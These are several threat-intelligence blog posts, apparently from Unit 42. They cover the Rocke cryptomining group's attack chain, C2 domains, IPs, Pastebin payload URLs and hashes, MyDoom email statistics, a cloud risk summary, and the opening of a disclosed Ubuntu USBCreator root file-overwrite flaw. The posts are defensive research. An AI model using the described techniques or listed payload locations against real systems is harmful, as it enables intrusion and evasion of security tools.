Unit 42 has observed a distinctive 12-step operation style, which appears to have remained consistent since Rocke was first reported:

  • Actor uploads first payload to a third-party site (e.g., Pastebin, GitHub)
  • Entices victim to navigate to Pastebin/GitHub (e.g., spear phishing)
  • Exploits known vulnerability (e.g., Oracle WebLogic, Adobe ColdFusion, Apache Struts)
  • Victim downloads backdoor (e.g., Shell Scripts, JavaScript Backdoor)
  • Victim runs the first payload via Python or Golang script and connects to C2 server
  • Downloads and executes second payload script, gaining administrative access to the system
  • Establishes persistence via cron job commands
  • Searchers for and kills previously installed cryptomining processes
  • Adds “IPtables” rules to block future cryptomining processes
  • Uninstalls agent-based cloud security tools (e.g., Tencent Cloud, Alibaba Cloud)
  • Downloads and installs Monero mining software
  • Rootkits XMRig mining processes from Linux “ps” using “libprocesshider”

Rocke Infrastructure

As of the time of this writing, eight domains have been tied to Rocke C2 operations through hardcoded IP addresses, URL addresses, or domain registration connections (e.g., WHOIS registrant email address). The following chart lays out how the domains fit into the Rocke group infrastructure (see Table 1).

Domain Rocke Connection Connection Value Resolved IP(s)
sowcar[.]com Hardcode IOC 4592248@gmail[.]com 23.234.4[.]151

23.234.4[.]153

27.221.28[.]231

27.221.54[.]252

36.103.236[.]221

36.103.247[.]121

36.248.26[.]205

42.202.141[.]230

42.236.125[.]84

42.56.76[.]104

43.242.166[.]88

59.83.204[.]14

60.167.222[.]122

61.140.13[.]251

104.31.68[.]79

104.31.69[.]79

113.142.51[.]219

113.200.16[.]234

116.211.184[.]212

118.213.118[.]94

118.25.145[.]24

122.246.6[.]183

125.74.45[.]101

150.138.184[.]119

182.118.11[.]126

182.118.11[.]193

182.247.250[.]251

182.247.254[.]83

183.224.33[.]79

211.91.160[.]159

211.91.160[.]238

218.75.176[.]126

219.147.231[.]79

221.204.60[.]69
thyrsi[.]com WHOIS Registration 4592248@gmail[.]com 23.234.4[.]151

23.234.4[.]153

103.52.216[.]35

104.27.138[.]223

104.27.139[.]223

205.185.122[.]229

209.141.41[.]204
w2wz[.]cn WHOIS Registration 4592248@gmail[.]com 36.103.236[.]221

36.103.247[.]121

42.202.141[.]230

58.215.145[.]137

58.216.107[.]77

58.218.208[.]13

60.167.222[.]122

61.140.13[.]251

113.142.51[.]219

113.96.98[.]113

116.211.184[.]212

118.213.118[.]94

118.25.145[.]241

121.207.229[.]203

122.246.20[.]201

125.74.45[.]101

140.249.61[.]134

150.138.184[.]119

182.118.11[.]193

182.247.250[.]251

218.75.176[.]126

219.147.231[.]79

222.186.49[.]224
baocangwh[.]cn WHOIS Registration 4592248@qq[.]com 103.52.216[.]35

104.18.38[.]253

104.18.39[.]253

104.31.92[.]26

104.31.93[.]26

119.28.48[.]240

205.185.122[.]229
z9ls[.]com WHOIS Registration 4592248@qq[.]com 103.52.216[.]35

104.27.134[.]168

104.27.135[.]168

104.31.80[.]164

104.31.81[.]164

172.64.104[.]10

172.64.105[.]10

205.185.122[.]229
gwjyhs[.]com Hardcoded Domain gwjyhs[.]com 103.52.216[.]35

104.27.138[.]191

104.27.139[.]191

205.185.122[.]229
heheda[.]tk Hardcode IP or Domain 104.238.151.101

c.heheda[.]tk

d.heheda[.]tk

dd.heheda[.]tk

 104.18.58[.]79

104.18.59[.]79

104.238.151[.]101

195.20.40[.]95

198.204.231[.]250
cloudappconfig[.]com Hardcode IP or Domain 104.238.151.101

c.cloudappconfig[.]com

img0.cloudappconfig[.]com

Img1.cloudappconfig[.]com

img2.cloudappconfig[.]com

 43.224.225[.]220

67.21.64[.]34

104.238.151[.]101

198.204.231[.]250
systemten[.]org Hardcoded Domain systemten[.]org 104.248.53[.]213

104.31.92[.]233

104.31.93[.]233

134.209.104[.]20

165.22.156[.]147

185.193.125[.]146

Table 1. Known Rocke domains

Rocke New Attack Vector

The TTPs listed in the previous section do not take into account a potential third stage to Rocke operations. Prior to the report An Analysis of Godlua Backdoor, Rocke malware appeared to perform a single operational function upon compromised cloud systems. The Godlua report cited malware samples that contained similar TTPs to those of Rocke. Upon further research, Unit 42 identified that not only do the TTPs match, but there are hardcoded domains, URLs, and an IP address that overlap with previously reported Rocke malware hardcoded values. This connection was made possible through the findings of an incident investigation posting on the r/LinuxMalware subreddit and the upload of the findings, including malware sample metadata, to GitHub. The author of the Reddit post operates the nonprofit organization MalwareMustDie, a white hat organization devoted to the reduction of internet malware. Unit 42 researchers analyzed four of the binaries listed in the Reddit thread and confirmed the hardcoded Rocke domain systemten[.]org contained within the samples, which was stated in the Reddit thread. The samples also contained hardcoded links to the Pastebin URLs that overlap with known Rocke reporting:

  • hxxps://pastebin[.]com/raw/HWBVXK6H
  • hxxps://pastebin[.]com/raw/60T3uCcb
  • hxxps://pastebin[.]com/raw/rPB8eDpu
  • hxxps://pastebin[.]com/raw/wR3ETdbi
  • hxxps://pastebin[.]com/raw/Va86JYqw
  • hxxps://pastebin[.]com/raw/Va86JYqw

As seen within the Godlua blog, the IP address 104.238.151[.]101 and the URLs d.heheda[.]tk, c.heheda[.]tk, and dd.heheda[.]tk were found to be hardcoded within the report’s findings. The incident response thread posted to Reddit pertaining to the Rocke group also found that C2 connections were being sent to the three heheda[.]tk domains, which resolved to the IP address 104.238.151[.]101, also cited in the Godlua report. Additionally, the samples contained hardcoded values for the known Rocke domains of sowcar[.]com, z9ls[.]com, baocangwh[.]cn, gwjyhs[.]com, and w2wz[.]cn. See Figure 1 for how the identified indicators of compromise (IoCs) connect known Rocke domains with the IoCs pulled from the Godlua and Reddit thread IoC reporting.

Figure 1. Rocke domain connections to Godlua and Reddit thread reporting

What makes the Godlua samples intriguing is the evidence that Rocke has added DoS operations to the group’s toolkit. The report delivers evidence that Rocke has added a third-stage malware component that performs a third C2 request to either c.heheda[.]tk or c.cloudappconfig[.]com and thereby downloads a LUA script called Godlua. The malware appears to provide a modular functionality to Rocke’s operational playbook. In addition to the DoS feature, the malware introduces the following new features:

  • HANDSHAKE
  • HEARTBEAT
  • LUA
  • SHELL
  • UPGRADE
  • QUIT
  • SHELL2
  • PROXY

The Godlua report also provided evidence that Rocke has added LUA switch functionality. The report states actors performed a DoS attack against the domain www.liuxiaobei[.]com. At the time of this writing, this domain does not resolve to any known system. It is currently unknown what functionality the other features of the Stage 3 malware accomplish. However, with options like “Shell,” “Shell2,” “Upgrade,” and “Proxy,” it is possible this malware is the beginning of a modular system agent that allows Rocke actors additional flexibility to perform cyber operations outside of cryptomining or data destruction.

Finding Rocke in the NetFlow

As of the time of this writing, Unit 42 researchers found 28.1% of cloud environments surveyed had at least one active communication session with known Rocke C2 domains. These connections occurred almost daily in some organizations from at least December 2018 until the time of this writing. Identification was made possible via the capture of NetFlow communications at the organization/cloud edge.

Unit 42 researchers discovered Rocke communications by analyzing Rocke’s TTP patterns, resolving the known Rocke domains to IP addresses used during the specified timeframe, and querying network traffic against these resolved IP address as well as the hardcoded IP address linked to Rocke, 104.238.151[.]101.

Hardcoded IP addresses provide strong connections to known malicious network traffic originating from an organization’s network. At the time of this writing, 104.238.151[.]101 is known to have resolved to the following URLs since January 1, 2019:

  • c.cloudappconfig[.]com
  • d.cloudappconfig[.]com
  • f.cloudappconfig[.]com
  • img0.cloudappconfig[.]com
  • img2.cloudappconfig[.]com
  • v.cloudappconfig[.]com
  • c.heheda[.]tk
  • d.heheda[.]tk
  • dd.heheda[.]tk

These URLs are consistent with those reported in both the Godlua and Reddit reporting, signifying that any connection to this IP address should be considered malicious. Unit 42 researchers identified 411 unique connections from four monitored organizations that made eight or more fully established network connections to the IP address 104.238.151[.]101. These connections only persisted with each organization for a short period of time. The longest delta between first-seen connection and last-seen connection was five days for Organization 1. The shortest delta resulting in a single connection was one hour for Organization 4 (see Table 2).

Organization Destination IP Total Connections Earliest Time Latest Time
1 104.238.151[.]101 76 4/12/19 3:00 AM 4/17/19 8:00 AM
2 104.238.151[.]101 160 4/13/19 7:00 AM 4/15/19 3:00 PM
3 104.238.151[.]101 167 4/13/19 7:00 AM 4/16/19 10:00 AM
4 104.238.151[.]101 8 5/10/19 9:00 PM 5/10/19 9:00 PM

Table 2. Organization connections to hardcoded IP 104.238.151[.]101

Extrapolating from 104.238.151[.]101, these four organizations also connected to other known Rocke domains. Organization 1 connected to three Rocke domains between April 12 and May 31, 2019, with 290 unique connections. Organization 4 connected to seven domains between March 20 and May 15, 2019, with 8,231 unique connections. As is evident in Table 3, the four organizations connect to one or more of the seven known Rocke domains during the same timeframe as the organization’s connections to the hardcoded IP address 104.238.151[.]101. This strongly favors the connection between the domains heheda[.]tk and cloudappcloudconfig[.]com as Rocke domains and the usage of Rocke’s third-stage malware being available during this same time period.

Organization Destination Domain Destination IP Total Connections Earliest Time Latest Time
1 Heheda[.]tk |

cloudappconfig[.]com

 104.238.151[.]101 76 4/12/19 3:00 AM 4/17/19 8:00 AM
sowcar[.]com 125.74.45[.]101 4 4/12/19 2:00 PM 4/12/19 2:00 PM
27.221.54[.]252 2 4/13/19 4:00 AM 4/13/19 4:00 AM
systemten[.]org 104.248.53[.]213 202 4/10/19 12:00 PM 5/31/19 6:00 PM
w2wz[.]cn 113.96.98[.]113 2 4/12/19 2:00 PM 4/12/19 2:00 PM
125.74.45[.]101 4 4/12/19 2:00 PM 4/12/19 2:00 PM
1 Total 290
2 baocanwh[.]cn 104.31.92[.]26 8 4/25/19 3:00 AM 4/25/19 3:00 AM
heheda[.]tk 104.18.58[.]79 26 4/14/19 6:00 AM 4/15/19 3:00 PM
heheda[.]tk 104.18.59[.]79 22 4/14/19 6:00 AM 4/15/19 2:00 PM
Heheda[.]tk |

cloudappconfig[.]com

 104.238.151[.]101 160 4/13/19 7:00 AM 4/15/19 2:00 PM
sowcar[.]com 104.31.68[.]79 77 3/20/19 11:00 PM 4/3/19 4:00 AM
104.31.69[.]79 70 3/20/19 7:00 AM 4/10/19 9:00 AM
125.74.45[.]101 6 4/12/19 1:00 PM 4/12/19 2:00 PM
27.221.54[.]252 6 4/13/19 4:00 AM 4/13/19 4:00 AM
systemten[.]org 104.248.53[.]213 92 4/11/19 5:00 PM 4/15/19 3:00 PM
w2wz[.]cn 113.96.98[.]113 9 4/12/19 2:00 PM 4/12/19 6:00 PM
122.246.20[.]201 8 4/22/19 7:00 AM 4/22/19 8:00 AM
125.74.45[.]101 6 4/12/19 1:00 PM 4/12/19 2:00 PM
z9ls[.]com 104.31.80[.]164 2 4/14/19 11:00 AM 4/14/19 11:00 AM
104.31.81[.]164 4 4/15/19 3:00 AM 4/15/19 1:00 PM
2 Total 496
3 heheda[.]tk 104.18.58[.]79 14 4/14/19 11:00 AM 4/16/19 10:00 AM
heheda[.]tk 104.18.59[.]79 14 4/14/19 11:00 AM 4/16/19 10:00 AM
Heheda[.]tk |

cloudappconfig[.]com

 104.238.151[.]101 167 4/13/19 7:00 AM 4/16/19 10:00 AM
sowcar[.]com 104.31.68[.]79 2 4/10/19 9:00 AM 4/10/19 9:00 AM
systemten[.]org 104.248.53[.]213 214 4/10/19 9:00 AM 4/19/19 9:00 AM
z9ls[.]com 104.31.80[.]164 106 4/14/19 9:00 AM 4/18/19 3:00 AM
104.31.81[.]164 108 4/14/19 9:00 AM 4/18/19 3:00 AM
3 Total 625
4 baocanwh[.]cn 104.18.38[.]253 136 4/26/19 9:00 PM 4/27/19 3:00 PM
104.18.39[.]253 152 4/26/19 10:00 PM 4/28/19 3:00 AM
104.31.92[.]26 184 4/22/19 9:00 AM 4/26/19 6:00 PM
104.31.93[.]26 170 4/22/19 9:00 AM 4/26/19 6:00 PM
119.28.48[.]240 176 4/27/19 1:00 PM 4/28/19 10:00 AM
gwjyhs[.]com 104.27.138[.]191 256 4/28/19 11:00 AM 5/9/19 10:00 AM
104.27.139[.]191 256 4/28/19 10:00 AM 5/12/19 5:00 PM
Heheda[.]tk |

cloudappconfig[.]com

 104.238.151[.]101 8 5/10/19 9:00 PM 5/10/19 9:00 PM
sowcar[.]com 104.31.68[.]79 437 3/20/19 7:00 AM 4/10/19 2:00 AM
104.31.69[.]79 441 3/20/19 2:00 PM 4/10/19 2:00 AM
27.221.54[.]252 8 4/13/19 4:00 AM 4/13/19 4:00 AM
systemten[.]org 104.31.93[.]233 4 4/5/19 2:00 AM 4/5/19 3:00 AM
104.31.92[.]233 4 4/5/19 2:00 AM 4/5/19 3:00 AM
104.248.53[.]213 4761 4/3/19 4:00 AM 5/15/19 1:00 AM
thyrsi[.]com 103.52.216[.]35 178 4/27/19 8:00 AM 5/10/19 1:00 PM
w2wz[.]cn 118.25.145[.]241 12 4/13/19 5:00 AM 4/13/19 9:00 AM
z9ls[.]com 104.31.80[.]164 522 4/13/19 9:00 AM 4/21/19 2:00 PM
104.31.81[.]164 526 4/13/19 6:00 AM 4/21/19 2:00 PM
4 Total 8231
Grand Total 9642

Table 3. Comparison of all Rocke domain connections with IP 104.238.151[.]101

Unit 42 researchers extrapolated the investigation another level and identified all visible connections from all monitored organizations to all known Rocke domains. The researchers found that 28.1% of cloud environments contained at least one fully established network connection with a known Rocke domain. The earliest witnessed connection took place on December 4, 2018, and continued through at least June 10, 2019, with 146 unique connections to the domains sowcar[.]com and w2wz[.]cn during that time frame.

Rocke’s Network Traffic Pattern

Finally, Unit 42 researchers attempted to identify if the initial payload downloaded from Pastebin could be identified with the NetFlow data. Researchers found that a total of 50 organizations made network connections to Pastebin. Of these 50 organizations, eight were found to have made network connections to Pastebin within the same hour as connections to Rocke domains. Since NetFlow traffic only allows for a granularity capability of one hour, and given the lack of full packet capture to confirm the nature of the network connection, it is impossible to positively identify precisely what time an organization was compromised. However, these occurrences point to key timeframes where full packet captures, if available, should be investigated further.

A distinct pattern emerges when viewing how Rocke network traffic appears within NetFlow data (see Figure 2). First, a connection is established with Pastebin, followed by a connection to a Rocke domain. As you can see from the image, the pattern repeats on an hourly basis, which is another indicator of beaconing capabilities and of the presence of the Stage 3 Rocke payload, which is already installed on the cloud system. Additionally, Figure 2 displays the unique occurrence of the source system connecting to Pastebin, then connecting to the known Rocke domains, z9ls[.]com, and systemten[.]org, connecting to the hardcoded IP address 104.238.151[.]101 in the same time frame. This pattern is indicative of a beaconing, or a heartbeat style of activity, which is a capability within the third-stage malware’s feature set.

Figure 2. Unique Rocke NetFlow pattern

Mitigation Strategies

To mitigate Rocke activities within a cloud environment, the following actions are recommended:

  • Update all cloud system templates with the latest patches and version updates.
  • Cycle all cloud systems to use the latest patched and updated cloud template.
  • Purchase and configure a cloud monitoring product that includes checks on compliance, network traffic, and user behavior.
  • Review cloud network configurations, security policies, and groups to ensure they meet current compliance requirements.
  • Use a cloud container vulnerability scanner.
  • Update all threat intelligence feeds providing domain or IP denylisting indicators.
  • Purchase or subscribe to Palo Alto Networks MineMeld threat feed, or use Palo Alto Networks Next-Generation Firewalls, as these options are configured to block known Rocke domains and IP connections.
  • Investigate cloud network traffic for connections to known malicious domains or IPs.
  • Investigate cloud network traffic for beacon-style egress traffic in your organization’s cloud environment.

Conclusion

Rocke, which primarily targets public cloud infrastructure for criminal gain, continues to evolve its tools and take advantage of poorly configured cloud infrastructures using vulnerabilities released in 2016 and 2017. The group can gain administrative access to cloud systems using malware that is able to remain hidden from basic investigations. Compromised systems then perform predictable and detectable network actions to known Rocke hardcoded IP addresses or Rocke-owned domains.

Palo Alto Networks customers are protected as follows:

  • The C2 domains listed in this blog are identified as malicious by our PAN-DB URL Filtering.
  • All illegitimate tools uploaded to the webshells are identified as malicious by WildFire and Traps.
  • ELF and PE format malware signatures have been released via antivirus.
  • All C2 domains have been covered by PAN-DB URL Filtering.

AutoFocus customers can investigate this activity with the following tags:

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.

Indicators of Compromise

Domains

sowcar[.]com

thyrsi[.]com

w2wz[.]cn

baocangwh[.]cn

z9ls[.]com

gwjyhs[.]com

heheda[.]tk

cloudappconfig[.]com

systemten[.]org

IPs

43.224.225[.]220

67.21.64[.]34

103.52.216[.]35

104.248.53[.]213

104.238.151[.]101

198.204.231[.]250

205.185.122[.]229

Hashes

1608899ff3bd9983df375fd836464500f160f6305fcc35cfb64abbe94643c962

28f92f36883b69e281882f19fec1d89190e913a4e301bfc5d80242b74fcba6fe

a84283095e0c400c3c4fe61283eca6c13dd0a6157a57adf95ae1dcec491ec519

6797018a6f29ce3d447bd3503372f78f9513d4648e5cd3ab5ab194a50c72b9c4

 

Unveiling 11 New Adversary Playbooks

Posted on by Unit 42

Today, Unit 42 released 11 new Adversary Playbooks as part of our mission to provide actionable threat intelligence. We use Playbooks to organize the tools, techniques, and procedures (TTPs) that an adversary uses into a structured format that can easily be shared and built upon. All of the Playbooks we have released can be accessed through our Playbook Viewer.

Here are brief descriptions of the new Unit 42 Adversary Playbooks:

  • MuddyWater: In Spring 2019, the group altered its TTPs to evade particular security controls in the BlackWater attack campaign. An espionage campaign previously conflated with FIN7 activity, MuddyWater was first reported by Unit 42 in November 2017.
  • Scarlet Mimic: Unveiled by Unit 42 in early 2016 and active since at least 2014, this espionage campaign largely targeted Tibetan and Uyghur activists using a suite of custom Windows and Android malware.
  • Inception: Active since at least 2014, this adversary used custom malware for a variety of platforms to target a range of industries, primarily in Russia, but also around the world. In October 2018 Inception used a new PowerShell backdoor and CVE-2017-11882 in attacks against European targets.
  • Windshift: In February 2019, Unit 42 shared additional targeting and technical data tied to this espionage group, first reported in October 2018. The group’s targets are primarily located in the Middle East. It is unique in that it only targets OSX systems with custom malware.
  • Sofacy: Active since at least 2007, this Russian-attributed espionage group persistently attacked government and private organizations around the world from mid-October 2018 through mid-November 2018. The majority of targets were NATO-aligned nation states, although several former USSR nation states were also targeted.
  • Chafer: Active since at least 2015, the espionage group Chafer in November 2018 targeted a Turkish government entity. While investigating, Unit 42 discovered a new secondary Python-based payload we named MechaFlounder, marking the first time Unit 42 observed this group use a Python-based payload.
  • Gorgon Group: Unit 42 researchers unveiled this group in August 2018, which performed a litany of attacks and operations around the globe, involving both criminal as well as targeted attacks. It was discovered while monitoring Subaat, an apparent member of Gorgon Group, who Unit 42 started tracking in 2017.
  • Cobalt Gang: While investigating ongoing commodity attacks by this group in October 2018, Unit 42 identified the use of a common macro builder and specific document metadata that allowed us to track and cluster new activity and infrastructure.
  • Th3bug: In the summer of 2014, this cyber espionage group, which compromised multiple websites to use in watering hole attacks. Watering hole attacks offer a much better chance of success because they involve compromising legitimate websites and install malware intended to infect website visitors. These often target popular websites frequented by people who work in specific industries or have political sympathies to which the actors want to gain access.
  • Rocke: In January 2019, Unit 42 revealed that this China-based cybercrime group had added new code to its Linux coin mining malware to uninstalls five different cloud security protection and monitoring products from compromised servers. The products were developed by Tencent Cloud and Alibaba Cloud (Aliyun), the two leading cloud providers in China that are expanding their business globally. This is the first malware family Unit 42 has seen with the unique capability to target and remove cloud security products.
  • CozyDuke: Active since at least 2008, this Russian-attributed espionage group launched a spear phishing campaign beginning in early July 2015 that leveraged new malware we named MiniDionis. The new malware, which is related to the group’s Seaduke malware, appeared to target government organizations and think-tanks located in democratic countries, and utilized compromised, legitimate websites for spear phishing and C2 activity.

All Adversary Playbooks can be viewed here.

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.

MyDoom Still Active in 2019

Posted on by Brad Duncan

Executive Summary

MyDoom is an infamous computer worm first noted in early 2004. This malware has been featured in top ten lists of the most destructive computer viruses, causing an estimated $38 billion in damage. Although now well past its heyday, MyDoom continues to be a presence in the cyber threat landscape.

While not as prominent as other malware families, MyDoom has remained relatively consistent during the past few years, averaging approximately 1.1 percent of all emails we see with malware attachments. We continue to record tens of thousands of MyDoom samples every month. The vast majority of MyDoom emails come from IP addresses registered in China, with the United States running a distant second. These emails are sent to recipients across the world, mostly targeting high tech, wholesale, retail, healthcare, education, and manufacturing industries.

This blog tracks MyDoom activity in recent years and focuses on trends during the first six months of 2019.

2015 through 2018

MyDoom's method of propagation is through email using SMTP. We compared emails containing MyDoom attachments with emails containing any type of malware attachment. In the four-year period from 2015 through 2018, an average of 1.1 percent of malicious emails contained MyDoom. When reviewing individual malware samples during the same period, MyDoom held an average of 21.4 percent for all individual malware attachments seen through malicious emails.

Why is the percentage of MyDoom emails so much lower than the percentage of MyDoom attachments? Because many malicious email campaigns carry the same malware sample across messages to hundreds or thousands of recipients. MyDoom is polymorphic and tends to have different file hashes for each of the emails we find. Therefore, while the number of MyDoom emails is relatively low, the number of samples is comparatively higher when compared to other malware distributed through email. Table 1 contains the statistics for 2015 through 2018.

Year MyDoom emails Total emails with malware % of MyDoom emails MyDoom samples Total malware samples % of MyDoom samples
2015 574,674 27,599,631 2.1% 87,119 615,386 14.2%
2016 589,107 77,575,376 0.8% 142,659 960,517 14.9%
2017 309,978 79,599,864 0.4% 95,115 340,433 27.9%
2018 663,212 64,919,295 1.0% 150,075 528,306 28.4%

Table 1. MyDoom statistics from 2015 through 2018.

Image 1. MyDoom activity levels in 2015.

Image 2. MyDoom activity levels in 2016.

Image 3. MyDoom activity levels in 2017.

Image 4. MyDoom activity levels in 2018.

MyDoom Activity in 2019

The first six months of 2019 for MyDoom activity reveals a similar average compared to all of 2018, with a slightly higher percentage of both emails and malware samples. See Table 2 for details.

Year MyDoom emails Total emails with malware % of MyDoom emails MyDoom samples Total malware samples % of MyDoom samples
Jan-Jun 2019 465,896 41,002,585 1.1% 92,932 302,820 30.1%

Table 2. MyDoom statistics in the first six months of 2019.

Image 5. MyDoom activity levels in the first six months of 2019.

574 MyDoom samples appeared across more than one month, so the total number of MyDoom malware samples in Table 3 below is different than the total of MyDoom samples in the six-month period taken as a whole in the previous table.

Month MyDoom emails MyDoom malware samples
Jan 2019 54,371 14,441
Feb 2019 47,748 11,566
Mar 2019 80,537 18,789
Apr 2019 92,049 17,278
May 2019 113,037 15,586
Jun 2019 78,154 15,846

Table 3. MyDoom month to month statistics in the first six months of 2019.

Image 6. Graph charting MyDoom activity from January through June of 2019.

Where have these emails come from? IP addresses of the top ten countries we saw during the first six months of 2019 were:

  • China: 349,454 emails
  • United States: 18,590 emails
  • Great Britain: 10,151 emails
  • Vietnam: 4,426 emails
  • Republic of Korea (South Korea): 2,575 emails
  • Spain: 2,154 emails
  • Russia: 1,007 emails
  • India: 657 emails
  • Taiwan: 536 emails
  • Kazakhstan: 388 emails

Image 7. Countries that MyDoom emails have appeared from during the first six months of 2019.

Targeted countries were more varied and evenly distributed than the source countries. Top ten targeted countries were:

  • China: 72,713 emails
  • United States: 56,135 emails
  • Taiwan: 5,628 emails
  • Germany: 5,503 emails
  • Japan: 5,105 emails
  • Singapore: 3,097 emails
  • Republic of Korea: 1,892 emails
  • Romania: 1,651 emails
  • Australia: 1,295 emails
  • Great Britain: 1,187 emails

Image 8. Targeted countries of MyDoom emails during the first six months of 2019.

The top ten verticals hit during this period were:

  • High Tech: 212,641 emails
  • Wholesale and Retail: 84,996 emails
  • Healthcare: 49,782 emails
  • Education: 37,961 emails
  • Manufacturing: 32,429 emails
  • Professional and Legal Services: 19,401 emails
  • Telecommunications: 4,125 emails
  • Finance: 2,259 emails
  • Transportation and Logistics: 1,595 emails
  • Insurance: 796 emails

These results are skewed likely towards our customer base. However, this data indicates that China and the United States are the source of most MyDoom emails and rank highest as the most targeted countries.

Characteristics of MyDoom

MyDoom distribution has had similar characteristics for years now. In February 2019, Cylance analyzed a sample of MyDoom, and current MyDoom samples follow similar characteristics. Emails distributing MyDoom are generally disguised as reports that an email was not delivered, with subject lines such as:

  • Delivery failed
  • Delivery reports about your e-mail
  • Mail System Error - Returned Mail
  • MESSAGE COULD NOT BE DELIVERED
  • RETURNED MAIL: DATA FORMAT ERROR
  • Returned mail: see transcript for details

However, we also frequently see MyDoom emails with random alphabetic characters in the subject line. MyDoom emails also use other subject lines like:

  • Click me baby, one more time
  • hello
  • Hi
  • say helo to my litl friend

Figures 8, 9, and 10 show screenshots of MyDoom email samples from July 2019.

Figure 8. Example of a MyDoom email from July 2019 (1 of 3).

Figure 9. Example of a MyDoom email from July 2019 (2 of 3).

Figure 10. Example of a MyDoom email from July 2019 (3 of 3).

Attachments from these MyDoom emails are executable files, or they are zip archives that contain executable files. MyDoom malware turns an infected Windows host into a malicious spambot, which then sends MyDoom emails to various email addresses. This will happen even if the infected Windows host does not have a mail client. Another characteristic of MyDoom is attempted connections to various IP addresses over TCP port 1042.

Figure 11. Emails traffic from a host infected with MyDoom on July 15th, 2019.

Figure 12. Attempted connections over TCP port 1042 from a host infected with MyDoom.

On a Windows 7 host, MyDoom makes a copy of itself in the user's AppData\Local\Temp directory as lsass.exe, but the malware is not made persistent in the Windows registry. On a Windows XP host, the MyDoom executable makes a copy of itself at C:\Windows\lsass.exe and is made persistent through the Windows registry in the HKEY_LOCAL_MACHINE hive with a key named Traybar at SOFTWARE\Microsoft\Windows\CurrentVersion\Run as shown in Figure 13.

Figure 13. MyDoom persistent on a Windows XP host.

Conclusion

First seen in 2004, MyDoom is still active today-- a testament to its original destructiveness. Enough infrastructure has remained infected throughout the years that we continue to see MyDoom in today's threat landscape. Although a relatively small percentage of malware-based emails contain MyDoom, this malware remains a constant presence.

Based on our data, MyDoom-infected infrastructure resides at IP addresses mostly belonging to China, with the United States running a distant second. Both China and the United States are the primary recipients of MyDoom emails, although the distribution remains global and targets many other countries. High tech is the most frequently targeted industry.

Palo Alto Networks customers are protected from MyDoom by our threat prevention platform which easily detects this malware. AutoFocus users can track MyDoom attempts by using the MyDoom tag.

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.

Indicators of Compromise

MyDoom EXE Samples from July 2019

1b46afe1779e897e6b9f3714e9276ccb7a4cef6865eb6a4172f0dd1ce1a46b42

48cf912217c1b5ef59063c7bdb93b54b9a91bb6920b63a461f8ac7fcff43e205

50dfd9af6953fd1eba41ee694fe26782ad4c2d2294030af2d48efcbcbfe09e11

6a9c46d96f001a1a3cc47d166d6c0aabc26a5cf25610cef51d2b834526c6b596

9e4c6410ab9eda9a3d3cbf23c58215f3bc8d3e66ad55e40b4e30eb785e191bf8

Cloudy with a Chance of Entropy

Posted on by Unit 42

 

Cloudy with a Chance of Entropy

The term “cloud” has been popular in the business lexicon since 2006 when Amazon Web Services (AWS) launched its Elastic Compute Cloud (EC2). The latest Cloud Threat Risk Report from Unit 42, which was released today, shows that organizations continue to struggle with securing public cloud platforms some 13 years after the launch of EC2. The report highlights key insights on cloud threats based on intelligence gathered from multiple data sources between January 2018 and late June 2019.

Among other findings, the report shows:

  • Shortcomings in on-premises patching habits are carrying over to the cloud. Unit 42 found more than 34 million vulnerabilities in customer applications running across various cloud service providers (CSPs). These vulnerabilities originate from the applications customers deploy to CSP infrastructure, such as outdated Apache servers and vulnerable jQuery packages. Researchers identified:
    • 29,128,902 vulnerabilities in customer applications running on Amazon EC2
    • 1,715,855 in customer applications running on Azure Virtual Machine
    • 3,971,632 in customer applications running on GCP Compute Engine

Patching is a struggle, as many standalone vulnerability management tools lack cloud context and remain scattered across multiple consoles. Organizations need to consolidate tools in order to create a cloud-centric view.

  • Default and unsecured container configurations are rampant. Unit 42 research reveals more than 40,000 container systems operate under default configurations. This represents nearly 51% of all publicly exposed Docker containers. Many of the systems identified allowed for unauthenticated access to the data they contained. We recommend at least placing every container with sensitive data behind a properly configured security policy or an external-facing firewall that prevents access from the internet.
  • Cloud complexity is yielding low-hanging fruit for attackers. Regarding publicly disclosed cloud security incidents, 65% were the result of misconfigurations. Organizations that had at least one Remote Desktop Protocol (RDP) service exposed to the entire internet amounted to 56%, despite the fact that all major cloud providers natively give consumers the ability to restrict inbound traffic. This represents an opportunity to consolidate cloud-based network controls with well-established on-premises management systems.
  • Malware has extended its reach to the cloud. Unit 42 found 28% of organizations communicating with malicious cryptomining C2 domains operated by the threat group Rocke. We have been closely tracking the group and noted the group’s unique tactics, techniques and procedures (TTPs), giving them the ability to disable and uninstall agent-based cloud security tools. Timely and consistent patching schedules for cloud-based systems are an expedient way to slow similar malware threats.

Download the latest “Threat Forecast: Cloudy with a Chance of Entropy” for more security insights as well as actionable recommendations to protect your cloud environment.

USBCreator D-Bus Privilege Escalation in Ubuntu Desktop

Posted on by Nadav Markus

 

Executive Summary

A vulnerability in the USBCreator D-Bus interface allows an attacker with access to a user in the sudoer group to bypass the password security policy imposed by the sudo program. The vulnerability allows an attacker to overwrite arbitrary files with arbitrary content, as root - without supplying a password. This trivially leads to elevated privileges, for instance, by overwriting the shadow file and setting a password for root. The issue was resolved in June when Ubuntu patched the relevant packages in response to a vulnerability disclosure from Unit 42.

A Short Introduction to D-Bus

Ubuntu desktop utilizes D-Bus as its inter-process communications (IPC) mediator. On Ubuntu, there are several message buses that run concurrently: A system bus, which is mainly used by privileged services to expose system-wide relevant services, and one session bus for each logged in user, which exposes services that are only relevant to that specific user. Since we will try to elevate our privileges, we will mainly focus on the system bus as the services there tend to run with higher privileges (i.e. root). Note that the D-Bus architecture utilizes one ‘router’ per session bus, which redirects client messages to the relevant services they are trying to interact with. Clients need to specify the address of the service to which they want to send messages.

